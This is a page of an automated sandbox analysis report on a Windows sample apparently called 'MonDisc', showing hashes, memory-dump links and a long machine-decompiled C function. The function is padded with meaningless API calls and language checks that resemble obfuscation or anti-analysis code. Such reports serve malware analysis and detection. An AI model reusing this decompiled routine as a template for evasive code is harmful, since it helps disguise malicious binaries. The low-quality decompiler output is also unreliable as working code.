Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1729a107793c4e065a05af5c08b281f8753eb9a14e7e7a0112f43c3bc5ed30ff
Instruction ID: 3ab66b168d2de7cb55c0d54b45c4a8a23d7a2fcee929fc7c49b77e4752416e1c
Opcode Fuzzy Hash: 1729a107793c4e065a05af5c08b281f8753eb9a14e7e7a0112f43c3bc5ed30ff
Instruction Fuzzy Hash: 36825667E1C9074AF6059F349D5A3B922956F60215F380A3AD50AD3297FF3EF189820F

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED0F5117 Relevance: 71.4, APIs: 47, Instructions: 863
windowtimeCOMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 53%

			E00007FF67FF6ED0F5117(void* __eax, signed int __ebp, intOrPtr* __rax, long long __rcx, struct HWND__* __r12, struct HWND__* __r13, signed long long _a80, long long _a88, long long _a96, long long _a104) {
				signed int _t90;
				signed int _t100;
				signed int _t105;
				signed int _t119;
				signed int _t124;
				signed int _t135;
				signed int _t148;
				signed int _t154;
				signed int _t159;
				signed int _t168;
				signed int _t173;
				signed int _t178;
				signed int _t191;
				signed int _t196;
				signed int _t202;
				signed int _t212;
				signed int _t217;
				signed int _t223;
				signed int _t229;
				signed int _t234;
				signed int _t239;
				signed int _t244;
				signed int _t249;
				signed int _t256;
				signed int _t263;
				signed int _t274;
				signed int _t288;
				signed int _t298;
				signed int _t303;
				signed int _t309;
				signed int _t315;
				signed int _t321;
				signed int _t328;
				signed int _t333;
				signed int _t338;
				signed int _t343;
				signed int _t348;
				signed int _t353;
				signed int _t359;
				signed int _t369;
				signed int _t376;
				signed int _t383;
				signed int _t395;
				signed int _t405;
				signed int _t410;
				signed int _t442;
				signed int _t447;
				signed int _t465;
				signed int _t471;
				signed int _t477;
				signed int _t482;
				signed int _t487;
				signed int _t506;
				signed int _t522;
				signed int _t536;
				signed int _t546;
				signed int _t552;
				signed int _t579;
				signed int _t584;
				signed int _t589;
				signed int _t606;
				signed int _t621;
				signed char _t660;
				signed int _t667;
				signed char _t706;
				signed int _t792;
				signed int _t801;
				void* _t805;
				void* _t812;
				void* _t813;
				void* _t814;
				void* _t816;
				void* _t819;
				void* _t822;
				void* _t824;
				void* _t826;
				void* _t827;
				void* _t832;
				void* _t833;
				void* _t835;
				void* _t836;
				void* _t837;
				void* _t839;
				void* _t840;
				void* _t842;
				void* _t843;
				void* _t845;
				void* _t847;
				void* _t848;
				void* _t849;
				void* _t850;
				void* _t853;
				void* _t854;
				void* _t855;
				void* _t857;
				void* _t858;
				void* _t860;
				void* _t861;
				void* _t862;
				void* _t863;
				void* _t865;
				void* _t866;
				void* _t867;
				void* _t870;
				void* _t871;
				void* _t874;
				void* _t875;
				void* _t876;
				void* _t877;
				void* _t878;
				void* _t880;
				void* _t881;
				void* _t884;
				void* _t885;
				void* _t887;
				void* _t890;
				void* _t893;
				void* _t896;
				void* _t898;
				void* _t899;
				void* _t900;
				void* _t901;
				void* _t902;
				void* _t903;
				void* _t904;
				void* _t905;
				void* _t908;
				void* _t910;
				intOrPtr* _t913;
				void* _t914;
				void* _t915;
				signed long long _t917;
				intOrPtr _t925;
				struct HWND__* _t927;
				void* _t929;
				long long _t930;
				long long _t932;
				void* _t936;
				void* _t937;
				void* _t944;
				void* _t947;
				struct HWND__* _t948;
				void* _t949;
				WCHAR* _t950;
				void* _t951;

				_t913 = __rax;
				if ((__eax - __ebp | r14d) + __ebp == 0x46) goto 0xed0f5144;
				_t90 = E00007FF67FF6ED184484(__rax) & r15d;
				if (_t90 >= 0) goto 0xed0f5136;
				_t805 = (_t90 - __ebp | r14d) + __ebp - 0x46;
				 *0xed236f60 = 0 | _t805 != 0x00000000;
				dil = 4;
				E00007FF67FF6ED184484(__rax);
				if (_t805 >= 0) goto 0xed0f5158;
				asm("movsd xmm6, [0x114888]");
				goto 0xed0f51f6;
				if (dil - 0xe >= 0) goto 0xed0f520a;
				_t100 = E00007FF67FF6ED184484(__rax) & r15d;
				if (_t100 >= 0) goto 0xed0f5182;
				if ((_t100 - __ebp | r14d) + __ebp == 0x10) goto 0xed0f51a8;
				_t105 = E00007FF67FF6ED184484(__rax) & r15d;
				if (_t105 >= 0) goto 0xed0f5198;
				 *0xed236f60 = 0 | (_t105 - __ebp | r14d) + __ebp != 0x00000010;
				goto 0xed0f51c7;
				 *0xed236f60 = 0x37;
				if (0x37 + bpl - 0x46 < 0) goto 0xed0f51aa;
				 *0xed236f60 = __ebp;
				 *0xed236f60 = 0;
				 *0xed236f60 = 0x41;
				_t812 = 0x41 + bpl - 0x4e;
				if (_t812 < 0) goto 0xed0f5171;
				dil = dil + bpl;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(__rax);
				if (_t812 >= 0) goto 0xed0f51f6;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t812 != 0) goto 0xed0f520a;
				if (_t812 == 0) goto 0xed0f5165;
				 *0xed236f60 = 0x2f;
				GetMessageTime();
				 *0xed236f60 = 0x12;
				_t813 = 0x12 + bpl - 0x22;
				if (_t813 < 0) goto 0xed0f521c;
				 *0xed236f60 = __ebp;
				_t119 = E00007FF67FF6ED184484(__rax);
				if (_t813 >= 0) goto 0xed0f5244;
				_t814 = ((_t119 & r15d) - __ebp | r14d) + __ebp - 0x44;
				if (_t814 >= 0) goto 0xed0f5268;
				_t124 = E00007FF67FF6ED184484(__rax);
				if (_t814 >= 0) goto 0xed0f525a;
				 *0xed236f60 = 0 | ((_t124 & r15d) - __ebp | r14d) + __ebp - 0x00000044 < 0x00000000;
				 *0xed236f60 = 0x19;
				_t816 = 0x19 + bpl - 0x24;
				if (_t816 < 0) goto 0xed0f526a;
				 *0xed236f60 = 0x41;
				E00007FF67FF6ED184484(__rax);
				if (_t816 >= 0) goto 0xed0f5298;
				_t135 = E00007FF67FF6ED184484(__rax);
				if (_t816 >= 0) goto 0xed0f52a9;
				 *0xed236f60 = 0 | ((_t135 & r15d) - __ebp | r14d) + __ebp - 0x0000005a > 0x00000000;
				 *0xed236f60 = 0x69;
				if (0x69 + bpl - 0x6c < 0) goto 0xed0f5287; // executed
				GetUserDefaultLangID(); // executed
				 *0xed1ee398();
				GetSystemDefaultLangID();
				 *0xed236f60 = 0x1f;
				_t819 = 0x1f + bpl - 0x32;
				if (_t819 < 0) goto 0xed0f52d6;
				GetParent(??);
				GetDoubleClickTime();
				GetDoubleClickTime();
				_t148 = E00007FF67FF6ED184484(__rax);
				if (_t819 >= 0) goto 0xed0f5312;
				if (((_t148 & r15d) - __ebp | r14d) + __ebp - 0x45 >= 0) goto 0xed0f5361;
				goto 0xed0f532c;
				if (0x5f - 0x73 >= 0) goto 0xed0f5342;
				 *0xed236f60 = 0x0000005f + bpl & 0x000000ff;
				_t154 = E00007FF67FF6ED184484(__rax);
				if (0x5f - 0x73 >= 0) goto 0xed0f533d;
				_t822 = ((_t154 & r15d) - __ebp | r14d) + __ebp - 0x22;
				if (_t822 != 0) goto 0xed0f531b;
				_t159 = E00007FF67FF6ED184484(__rax);
				if (_t822 >= 0) goto 0xed0f5353;
				 *0xed236f60 = 0 | ((_t159 & r15d) - __ebp | r14d) + __ebp - 0x00000045 < 0x00000000;
				_t706 = sil;
				 *0xed236f60 = _t706 & 0x000000ff;
				_t824 = _t706 + bpl - 0xf;
				if (_t824 < 0) goto 0xed0f5364;
				GetWindowTextLengthW(??);
				GetMessageExtraInfo();
				 *0xed236f60 = 5;
				_t168 = E00007FF67FF6ED184484(__rax);
				if (_t824 >= 0) goto 0xed0f53a2;
				if (((_t168 & r15d) - __ebp | r14d) + __ebp - 0x3f < 0) goto 0xed0f53ac;
				_t826 = 5 + bpl - 0xe;
				if (_t826 < 0) goto 0xed0f5385;
				dil = 0x49;
				_t173 = E00007FF67FF6ED184484(__rax);
				if (_t826 >= 0) goto 0xed0f53c2;
				_t827 = ((_t173 & r15d) - __ebp | r14d) + __ebp - 0x1b;
				if (_t827 <= 0) goto 0xed0f53f0;
				 *0xed236f60 = 0x66;
				_t178 = E00007FF67FF6ED184484(__rax);
				if (_t827 >= 0) goto 0xed0f53e2;
				 *0xed236f60 = 0 | ((_t178 & r15d) - __ebp | r14d) + __ebp - 0x0000001b > 0x00000000;
				 *0xed236f60 = 0x3f;
				if (0x3f + bpl - 0x46 < 0) goto 0xed0f53b1;
				dil = dil + bpl;
				 *0xed236f60 = __ebp;
				 *0xed236f60 = dil & 0xffffffff;
				if (dil - 0x51 < 0) goto 0xed0f53af;
				IsIconic(??);
				IsIconic(??);
				GetDoubleClickTime();
				 *0xed236f60 = 0x1e;
				GetLastActivePopup(??);
				GetMessageTime();
				goto 0xed0f545d;
				if (0x40 - 0x4a >= 0) goto 0xed0f5473;
				 *0xed236f60 = 0x00000040 + bpl & 0x000000ff;
				_t191 = E00007FF67FF6ED184484(__rax);
				if (0x40 - 0x4a >= 0) goto 0xed0f546e;
				_t832 = ((_t191 & r15d) - __ebp | r14d) + __ebp - 0x3b;
				if (_t832 == 0) goto 0xed0f544c;
				_t196 = E00007FF67FF6ED184484(__rax);
				if (_t832 >= 0) goto 0xed0f5484;
				_t833 = ((_t196 & r15d) - __ebp | r14d) + __ebp - 0x26;
				if (_t833 < 0) goto 0xed0f54b0;
				GetModuleHandleW(??);
				_t202 = E00007FF67FF6ED184484(__rax);
				if (_t833 >= 0) goto 0xed0f54a2;
				 *0xed236f60 = 0 | ((_t202 & r15d) - __ebp | r14d) + __ebp - 0x00000026 >= 0x00000000;
				GetCurrentProcessId();
				 *0xed1ee398();
				 *0xed236f60 = 0x20;
				_t835 = 0x20 + bpl - 0x2b;
				if (_t835 < 0) goto 0xed0f54b8;
				GetTopWindow(??);
				 *0xed236f60 = __ebp;
				GetMessageExtraInfo();
				_t212 = E00007FF67FF6ED184484(__rax);
				if (_t835 >= 0) goto 0xed0f54f4;
				_t836 = ((_t212 & r15d) - __ebp | r14d) + __ebp - 0x3f;
				if (_t836 == 0) goto 0xed0f5518;
				_t217 = E00007FF67FF6ED184484(__rax);
				if (_t836 >= 0) goto 0xed0f550a;
				_t837 = ((_t217 & r15d) - __ebp | r14d) + __ebp - 0x3f;
				 *0xed236f60 = 0 | _t837 != 0x00000000;
				 *0xed236f60 = 0x61;
				_t223 = E00007FF67FF6ED184484(__rax);
				if (_t837 >= 0) goto 0xed0f5537;
				if (((_t223 & r15d) - __ebp | r14d) + __ebp - 0x69 > 0) goto 0xed0f5541;
				_t839 = 0x61 + bpl - 0x73;
				if (_t839 < 0) goto 0xed0f551a;
				GetParent(??);
				_t229 = E00007FF67FF6ED184484(__rax);
				if (_t839 >= 0) goto 0xed0f555a;
				_t840 = ((_t229 & r15d) - __ebp | r14d) + __ebp - 0x20;
				if (_t840 >= 0) goto 0xed0f557a;
				_t234 = E00007FF67FF6ED184484(__rax);
				if (_t840 >= 0) goto 0xed0f5570;
				goto 0xed0f55a9;
				_t239 = E00007FF67FF6ED184484(__rax);
				if (((_t234 & r15d) - __ebp | r14d) + __ebp - 0x20 >= 0) goto 0xed0f558b;
				_t842 = ((_t239 & r15d) - __ebp | r14d) + __ebp - 0x48;
				if (_t842 > 0) goto 0xed0f55af;
				_t244 = E00007FF67FF6ED184484(__rax);
				if (_t842 >= 0) goto 0xed0f55a1;
				_t843 = ((_t244 & r15d) - __ebp | r14d) + __ebp - 0x48;
				 *0xed236f60 = 0 | _t843 <= 0x00000000;
				_t249 = E00007FF67FF6ED184484(__rax);
				if (_t843 >= 0) goto 0xed0f55c0;
				if (((_t249 & r15d) - __ebp | r14d) + __ebp - 0x15 <= 0) goto 0xed0f55cf;
				GetTopWindow(??);
				goto 0xed0f55e2;
				 *0xed236f60 = 0x60;
				_t845 = 0x60 + bpl - 0x6b;
				if (_t845 < 0) goto 0xed0f55d1;
				_t256 = E00007FF67FF6ED184484(__rax);
				if (_t845 >= 0) goto 0xed0f55f3;
				 *0xed236f60 = 0 | ((_t256 & r15d) - __ebp | r14d) + __ebp - 0x00000015 > 0x00000000;
				GetTopWindow(??);
				 *0xed236f60 = 2;
				_t847 = 2 + bpl - 0x12;
				if (_t847 < 0) goto 0xed0f5603;
				_t263 = E00007FF67FF6ED184484(__rax);
				if (_t847 >= 0) goto 0xed0f562d;
				_t848 = ((_t263 & r15d) - __ebp | r14d) + __ebp - 4;
				if (_t848 != 0) goto 0xed0f5687;
				_t660 = bpl + bpl;
				 *0xed236f60 = _t660 & 0x000000ff;
				E00007FF67FF6ED184484(__rax);
				if (_t848 >= 0) goto 0xed0f5652;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, [0x1143de]");
				if (_t848 <= 0) goto 0xed0f5669;
				_t849 = _t660 - 4;
				if (_t849 < 0) goto 0xed0f5635;
				_t274 = E00007FF67FF6ED184484(__rax);
				if (_t849 >= 0) goto 0xed0f567a;
				_t850 = ((_t274 & r15d) - __ebp | r14d) + __ebp - 4;
				sil = _t850 == 0;
				 *0xed236f60 = 0;
				E00007FF67FF6ED1844F4(E00007FF67FF6ED1844FC(((_t274 & r15d) - __ebp | r14d) + __ebp));
				_t925 =  *_t913;
				_t917 = _a80;
				_t932 = _a88;
				_t930 = _a96;
				asm("movaps xmm6, [esp+0x20]");
				_t937 = _t936 + 0x30;
				_pop(_t950);
				_pop(_t948);
				_pop(_t927);
				goto 0xed0f7568;
				asm("int3");
				_t914 = _t937;
				 *(_t914 + 0x10) = _t917;
				 *((long long*)(_t914 + 0x18)) = _t932;
				 *((long long*)(_t914 + 0x20)) = _t930;
				 *((long long*)(_t914 + 8)) = __rcx;
				asm("movaps [eax-0x38], xmm6");
				 *0xed236f60 = 1;
				 *0xed236f60 = 1;
				E00007FF67FF6ED184484(_t914);
				r14d = 0x8000007f;
				if (_t850 >= 0) goto 0xed0f5717;
				r15d = 0;
				goto 0xed0f574c;
				if (0x2b - 0x2e >= 0) goto 0xed0f5751;
				GetModuleHandleW(_t950);
				 *0xed236f60 = r15d;
				 *0xed236f60 = 0x0000002b + sil & 0x000000ff;
				_t288 = E00007FF67FF6ED184484(_t914);
				if (0x2b - 0x2e >= 0) goto 0xed0f574c;
				if (((_t288 & r14d) - 0x00000001 | 0xffffff80) + 1 == 0x37) goto 0xed0f571c;
				GetMessageExtraInfo();
				AnyPopup();
				GetWindowTextLengthW(_t948);
				 *0xed236f60 = 0x41;
				_t853 = 0x41 + sil - 0x55;
				if (_t853 < 0) goto 0xed0f575f;
				IsZoomed(__r13);
				_t298 = E00007FF67FF6ED184484(_t914);
				if (_t853 >= 0) goto 0xed0f5790;
				_t854 = ((_t298 & r14d) - 0x00000001 | 0xffffff80) + 1 - 0x66;
				if (_t854 >= 0) goto 0xed0f57bd;
				 *0xed236f60 = r15d;
				_t303 = E00007FF67FF6ED184484(_t914);
				if (_t854 >= 0) goto 0xed0f57ac;
				_t855 = ((_t303 & r14d) - 0x00000001 | 0xffffff80) + 1 - 0x66;
				 *0xed236f60 = r15d & 0xffffff00 | _t855 < 0x00000000;
				goto 0xed0f57ca;
				AnyPopup();
				 *0xed236f60 = r15d;
				_t309 = E00007FF67FF6ED184484(_t914);
				if (_t855 >= 0) goto 0xed0f57da;
				if (((_t309 & r14d) - 0x00000001 | 0xffffff80) + 1 - 0x3c <= 0) goto 0xed0f5811;
				 *0xed236f60 = 0x19;
				_t857 = 0x19 + sil - 0x2b;
				if (_t857 < 0) goto 0xed0f57e1;
				_t315 = E00007FF67FF6ED184484(_t914);
				if (_t857 >= 0) goto 0xed0f5802;
				_t858 = ((_t315 & r14d) - 0x00000001 | 0xffffff80) + 1 - 0x3c;
				 *0xed236f60 = r15d & 0xffffff00 | _t858 > 0x00000000;
				 *0xed236f60 = 0x5a;
				_t321 = E00007FF67FF6ED184484(_t914);
				if (_t858 >= 0) goto 0xed0f582f;
				if (((_t321 & r14d) - 0x00000001 | 0xffffff80) + 1 - 0x65 >= 0) goto 0xed0f5839;
				_t860 = 0x5a + sil - 0x5b;
				if (_t860 < 0) goto 0xed0f5813;
				 *0xed236f60 = 1;
				 *0xed1ee398();
				GetTickCount();
				 *0xed236f60 = 1;
				_t328 = E00007FF67FF6ED184484(_t914);
				_t667 = r14d;
				if (_t860 >= 0) goto 0xed0f5863;
				_t861 = ((_t328 & _t667) - 0x00000001 | 0xffffff80) + 1 - 0x70;
				if (_t861 > 0) goto 0xed0f5886;
				_t333 = E00007FF67FF6ED184484(_t914);
				if (_t861 >= 0) goto 0xed0f5877;
				_t862 = ((_t333 & _t667) - 0x00000001 | 0xffffff80) + 1 - 0x70;
				 *0xed236f60 = r15d & 0xffffff00 | _t862 <= 0x00000000;
				_t338 = E00007FF67FF6ED184484(_t914);
				if (_t862 >= 0) goto 0xed0f5895;
				r14d = 0x31;
				r15d = _t948 - 0x15;
				_t863 = ((_t338 & _t667) - 0x00000001 | 0xffffff80) + 1 - 0x33;
				if (_t863 == 0) goto 0xed0f58c0;
				_t343 = E00007FF67FF6ED184484(_t914);
				if (_t863 >= 0) goto 0xed0f58b3;
				goto 0xed0f59ed;
				_t348 = E00007FF67FF6ED184484(_t914);
				if (((_t343 & _t667) - 0x00000001 | 0xffffff80) + 1 - 0x33 >= 0) goto 0xed0f58cf;
				_t865 = ((_t348 & _t667) - 0x00000001 | 0xffffff80) + 1 - 0x10;
				if (_t865 <= 0) goto 0xed0f59f3;
				_t353 = E00007FF67FF6ED184484(_t914);
				if (_t865 >= 0) goto 0xed0f58e7;
				_t866 = ((_t353 & _t667) - 0x00000001 | 0xffffff80) + 1 - r14d;
				if (_t866 == 0) goto 0xed0f5916;
				GetLastActivePopup(__r12);
				_t359 = E00007FF67FF6ED184484(_t914);
				if (_t866 >= 0) goto 0xed0f5903;
				_t867 = ((_t359 & _t667) - 0x00000001 | 0xffffff80) + 1 - r14d;
				 *0xed236f60 = 0 | _t867 != 0x00000000;
				goto 0xed0f59d6;
				E00007FF67FF6ED184484(_t914);
				if (_t867 >= 0) goto 0xed0f5925;
				asm("movsd xmm6, [0x1141e3]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t867 > 0) goto 0xed0f59b0;
				_t369 = E00007FF67FF6ED184484(_t914);
				if (_t867 >= 0) goto 0xed0f594a;
				if (((_t369 & _t667) - 0x00000001 | 0xffffff80) + 1 - 0x20 < 0) goto 0xed0f598d;
				goto 0xed0f596a;
				if (0x27 - 0x33 >= 0) goto 0xed0f5981;
				GetTickCount();
				 *0xed236f60 = 0x00000027 + sil & 0x000000ff;
				_t376 = E00007FF67FF6ED184484(_t914);
				if (0x27 - 0x33 >= 0) goto 0xed0f597c;
				_t870 = ((_t376 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 - r15d;
				if (_t870 >= 0) goto 0xed0f5953;
				E00007FF67FF6ED184484(_t914);
				goto 0xed0f5998;
				GetCommandLineW();
				_t383 = E00007FF67FF6ED184484(_t914);
				if (_t870 >= 0) goto 0xed0f59a2;
				_t871 = ((_t383 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 - 0x20;
				 *0xed236f60 = 0 | _t871 >= 0x00000000;
				E00007FF67FF6ED184484(_t914);
				if (_t871 >= 0) goto 0xed0f59bf;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t871 > 0x00000000;
				_t395 = E00007FF67FF6ED184484(_t914);
				if (_t871 >= 0) goto 0xed0f59e5;
				 *0xed236f60 = 0 | ((_t395 & 0x8000007f) - 0x00000001 | 0xffffff80) + 0x00000001 - 0x00000010 > 0x00000000; // executed
				GetForegroundWindow(); // executed
				GetTopWindow(_t927);
				_t792 =  !=  ? r9d : 0;
				_t801 = r12d - _t792 - 1;
				GetCommandLineW();
				 *0xed236f60 = 0x5d;
				_t874 = 0x5d + dil - 0x6a;
				if (_t874 < 0) goto 0xed0f5a1d;
				GetTopWindow(??);
				_t405 = E00007FF67FF6ED184484(_t914);
				if (_t874 >= 0) goto 0xed0f5a46;
				_t875 = ((_t405 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 - 0x79;
				if (_t875 >= 0) goto 0xed0f5a6b;
				_t410 = E00007FF67FF6ED184484(_t914);
				if (_t875 >= 0) goto 0xed0f5a5b;
				_t876 = ((_t410 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 - 0x79;
				 *0xed236f60 = 0 | _t876 < 0x00000000;
				goto 0xed0f5a7b;
				GetForegroundWindow();
				 *0xed236f60 = 0;
				E00007FF67FF6ED184484(_t914);
				if (_t876 >= 0) goto 0xed0f5a8b;
				asm("movsd xmm6, [0x11416d]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t876 >= 0) goto 0xed0f5ab4;
				 *0xed236f60 = 0x54;
				_t877 = 0x54 + dil - 0x61;
				if (_t877 < 0) goto 0xed0f5aa3;
				E00007FF67FF6ED184484(_t914);
				if (_t877 >= 0) goto 0xed0f5ac4;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t877 >= 0x00000000;
				E00007FF67FF6ED184484(_t914);
				if (_t877 >= 0) goto 0xed0f5aeb;
				asm("movsd xmm6, [0x114055]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t877 <= 0) goto 0xed0f5b28;
				E00007FF67FF6ED184484(_t914);
				if (_t877 >= 0) goto 0xed0f5b11;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t877 > 0x00000000;
				 *0xed236f60 = 1;
				GetMessageExtraInfo();
				_t442 = E00007FF67FF6ED184484(_t914);
				if (_t877 >= 0) goto 0xed0f5b44;
				_t878 = ((_t442 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 - 0x2b;
				if (_t878 > 0) goto 0xed0f5b67;
				_t447 = E00007FF67FF6ED184484(_t914);
				if (_t878 >= 0) goto 0xed0f5b59;
				 *0xed236f60 = 0 | ((_t447 & 0x8000007f) - 0x00000001 | 0xffffff80) + 0x00000001 - 0x0000002b <= 0x00000000;
				IsZoomed(??);
				 *0xed1ee398();
				GetMessageExtraInfo();
				GetCurrentProcess();
				GetModuleHandleW(??);
				 *0xed236f60 = 0x44;
				_t880 = 0x44 + dil - 0x53;
				if (_t880 < 0) goto 0xed0f5b83;
				GetTickCount();
				AnyPopup();
				E00007FF67FF6ED184484(_t914);
				if (_t880 >= 0) goto 0xed0f5bbd;
				asm("movsd xmm6, [0x113f23]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t880 < 0) goto 0xed0f5cb4;
				dil = 0x35;
				_t465 = E00007FF67FF6ED184484(_t914);
				if (_t880 >= 0) goto 0xed0f5bea;
				_t881 = ((_t465 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 - 0x56;
				if (_t881 == 0) goto 0xed0f5c25;
				 *0xed236f60 = 0x5c;
				_t471 = E00007FF67FF6ED184484(_t914);
				if (_t881 >= 0) goto 0xed0f5c0f;
				if (((_t471 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 != 0x6a) goto 0xed0f5c19;
				if (0x5d - 0x64 < 0) goto 0xed0f5bf1;
				E00007FF67FF6ED184484(_t914);
				goto 0xed0f5c5d;
				_t477 = E00007FF67FF6ED184484(_t914);
				if (0x5d - 0x64 >= 0) goto 0xed0f5c35;
				_t884 = ((_t477 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 - 0x12;
				if (_t884 != 0) goto 0xed0f5c58;
				_t482 = E00007FF67FF6ED184484(_t914);
				if (_t884 >= 0) goto 0xed0f5c4a;
				_t885 = ((_t482 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 - 0x12;
				 *0xed236f60 = 0 | _t885 == 0x00000000;
				_t487 = E00007FF67FF6ED184484(_t914);
				if (_t885 >= 0) goto 0xed0f5c68;
				dil = dil + 1;
				 *0xed236f60 = 0 | ((_t487 & 0x8000007f) - 0x00000001 | 0xffffff80) + 0x00000001 != 0x00000056;
				 *0xed236f60 = dil & 0xffffffff;
				_t887 = dil - 0x38;
				if (_t887 < 0) goto 0xed0f5bda;
				E00007FF67FF6ED184484(_t914);
				if (_t887 >= 0) goto 0xed0f5c9d;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t887 >= 0x00000000;
				_t61 = _t930 + 1; // 0x1
				r8d = _t61;
				E00007FF67FF6ED0FCE80(_t801, _t917, _a80, _t930);
				r12d = 1;
				if (r12d <= 0) goto 0xed0f5d01;
				E00007FF67FF6ED0FDD00(_t917, _a80,  *((intOrPtr*)(_t925 + _t917 * 8)));
				r8d =  ~_t792;
				E00007FF67FF6ED0FE000(r12d, _t914, _t917, _a80, _t930);
				if (_t917 + r8d - r8d < 0) goto 0xed0f5cd9;
				IsIconic(??);
				r13d = 0x8000007f;
				dil = 0x24;
				E00007FF67FF6ED184484(_t914);
				goto 0xed0f5d42;
				_t890 = dil - 0x2c;
				if (_t890 >= 0) goto 0xed0f5d54;
				dil = dil + r12b;
				 *0xed236f60 = 0;
				 *0xed236f60 = dil & 0xffffffff;
				_t506 = E00007FF67FF6ED184484(_t914);
				if (_t890 >= 0) goto 0xed0f5d4f;
				if (((_t506 & r13d) - r12d | 0xffffff80) + r12d - 0x32 <= 0) goto 0xed0f5d20;
				 *0xed236f60 = 0x18;
				if (0x18 + r12b - 0x21 < 0) goto 0xed0f5d11;
				GetWindowTextLengthW(??);
				GetTopWindow(??);
				GetCurrentProcessId();
				 *0xed236f60 = 0x63;
				_t893 = 0x63 + r12b - 0x65;
				if (_t893 < 0) goto 0xed0f5d7d;
				dil = 0x60;
				E00007FF67FF6ED184484(_t914);
				if (_t893 >= 0) goto 0xed0f5da3;
				asm("movsd xmm6, [0x113d95]");
				goto 0xed0f5dfe;
				if (dil - 0x73 >= 0) goto 0xed0f5e0e;
				goto 0xed0f5dc8;
				if (0x61 - 0x6c >= 0) goto 0xed0f5ddf;
				 *0xed236f60 = 0x00000061 + r12b & 0x000000ff;
				_t522 = E00007FF67FF6ED184484(_t914);
				if (0x61 - 0x6c >= 0) goto 0xed0f5dda;
				_t896 = ((_t522 & r13d) - r12d | 0xffffff80) + r12d - 5;
				if (_t896 <= 0) goto 0xed0f5db7;
				dil = dil + r12b;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t914);
				if (_t896 >= 0) goto 0xed0f5dfe;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t896 != 0) goto 0xed0f5dad;
				if (_t896 != 0) goto 0xed0f5dad;
				r14b = r14b + r12b;
				 *0xed236f60 = r14b & 0xffffffff;
				if (r14b - 0x3f < 0) goto 0xed0f5e0e;
				 *0xed236f60 = 0x1d;
				goto 0xed0f5e48;
				_t898 = r15b - 0x2e;
				if (_t898 >= 0) goto 0xed0f5e5f;
				GetTopWindow(??);
				r15b = r15b + r12b;
				 *0xed236f60 = r15b & 0xffffffff;
				_t536 = E00007FF67FF6ED184484(_t914);
				if (_t898 >= 0) goto 0xed0f5e5a;
				_t899 = ((_t536 & r13d) - r12d | 0xffffff80) + r12d - 0x35;
				if (_t899 != 0) goto 0xed0f5e2d;
				asm("movsd xmm6, [0x113b91]");
				E00007FF67FF6ED184484(_t914);
				if (_t899 >= 0) goto 0xed0f5e7b;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t899 >= 0) goto 0xed0f5ec6;
				_t546 = E00007FF67FF6ED184484(_t914);
				if (_t899 >= 0) goto 0xed0f5e9b;
				_t900 = ((_t546 & r13d) - r12d | 0xffffff80) + r12d - 8;
				if (_t900 != 0) goto 0xed0f5ec6;
				 *0xed1ee398();
				_t552 = E00007FF67FF6ED184484(_t914);
				if (_t900 >= 0) goto 0xed0f5eb8;
				_t901 = ((_t552 & r13d) - r12d | 0xffffff80) + r12d - 8;
				 *0xed236f60 = 0 | _t901 == 0x00000000;
				E00007FF67FF6ED184484(_t914);
				if (_t901 >= 0) goto 0xed0f5ed8;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t901 >= 0x00000000;
				 *0xed236f60 = 2;
				_t902 = 2 + r12b - 9;
				if (_t902 < 0) goto 0xed0f5e69;
				 *0xed236f60 = r12d;
				GetCommandLineW();
				asm("movaps xmm6, [esp+0x20]");
				_pop(_t951);
				_pop(_t949);
